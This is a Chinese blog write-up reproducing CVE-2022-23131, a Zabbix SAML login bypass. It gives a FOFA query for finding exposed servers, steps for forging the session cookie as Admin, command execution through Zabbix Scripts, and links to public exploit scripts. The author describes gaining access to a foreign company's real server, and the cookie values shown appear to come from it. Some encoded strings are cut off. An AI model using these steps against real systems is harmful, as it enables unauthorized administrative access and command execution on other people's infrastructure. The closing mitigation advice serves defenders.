Zabbix登录绕过漏洞复现(CVE-2022-23131)
0x00 前⾔
最近在复现zabbix的漏洞(CVE-2022-23131),偶然间拿到了国外某公司zabbix服务器。Zabbix Sia Zabbix是拉脱维亚Zabbix SIA(Zabbix Sia)公司的⼀套开源的监控系
统。该系统⽀持⽹络监控、服务器监控、云监控和应⽤监控等。Zabbix Frontend 存在安全漏洞,该漏洞源于在启⽤ SAML SSO ⾝份验证(⾮默认)的情况下,恶意⾏为者可以
修改会话数据,因为存储在会话中的⽤户登录未经过验证。未经⾝份验证的恶意攻击者可能会利⽤此问题来提升权限并获得对 Zabbix 前端的管理员访问权限。
0x01 漏洞原因
在启⽤ SAML SSO ⾝份验证(⾮默认)的情况下,恶意攻击者可以修改会话数据来实现⾝份认证绕过。未经⾝份验证的恶意攻击者可能会利⽤此问题来提升权限并获
得对 Zabbix 前端的管理员访问权限。
该漏洞存在于index_sso.php⽂件中,由于index_sso.php⽂件未调⽤CEncryptedCookieSession::checkSign()⽅法对cookie进⾏校验,且客户端的cookie可被伪造。
从index_sso.php⽂件中可以看出,当伪造的cookie中存在saml_data时,获取username_attribute的数据,如果该⽤户真实存在则会⽣成⼀个sessionid从⽽实现⾝份认
证绕过
0x02 漏洞影响
5.4.8
5.0.18
4.0.36
0x03  漏洞复现
fofa:app="ZABBIX-监控系统" && body="saml"
获取到set-cookie的值,然后先进⾏url解码,然后再进⾏base64解码
URL解码:
eyJzZXNzaW9uaWQiOiIxNzFiODAwOTI4NDQ2MmUxZGRhODAyYWFjODk5MDI2YyIsInNpZ24iOiJ0eTZSZVkzVDRxVEdYenJseFM2ZlpyNTRhT3pCMHBhS25vWHBhZDR3MHdKc2lwNTJ2aUdnd Base64解码:
{"sessionid":"171b8009284462e1dda802aac899026c","sign":"ty6ReY3T4qTGXzrlxS6fZr54aOzB0paKnoXpad4w0wJsip52viGgw+CRZjyRrAByX99lhM1UGlS8q4p60Jo\/Pg=="}
然后拼接字符串
{"saml_data":
{"username_attribute":"Admin"},"sessionid":"171b8009284462e1dda802aac899026c","sign":"ty6ReY3T4qTGXzrlxS6fZr54aOzB0paKnoXpad4w0wJsip52viGgw+CRZjyRrAByX99lhM1UGlS8q4p60Jo\拼接之后在进⾏base64加密
然后在进⾏URLEncode
执⾏命令
到Administration--> Scripts 创建新的脚本,这⾥我创建的ifconfig
在监控中到最新数据,然后筛选出来你想执⾏的主机组,点击主机名执⾏对应命令
或者
GitHub漏洞利⽤脚本:
github/L0ading-x/cve-2022-23131
github/Mr-xn/cve-2022-23131
执⾏脚本,Admin为默认的⾼权限⽤户,获取其session值。
替换cookie中的zbx_session值为payload,接着点击 Sign in with Single Sign-On (SAML)
或者使⽤EditThisCookie 对cookie值进⾏替换
cve漏洞库
成功绕过登录,进⼊系统。
0x04 修复⽅法
1、禁⽤ SAML ⾝份验证
2、升级安全版本(support.zabbix/browse/ZBX-20350)

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。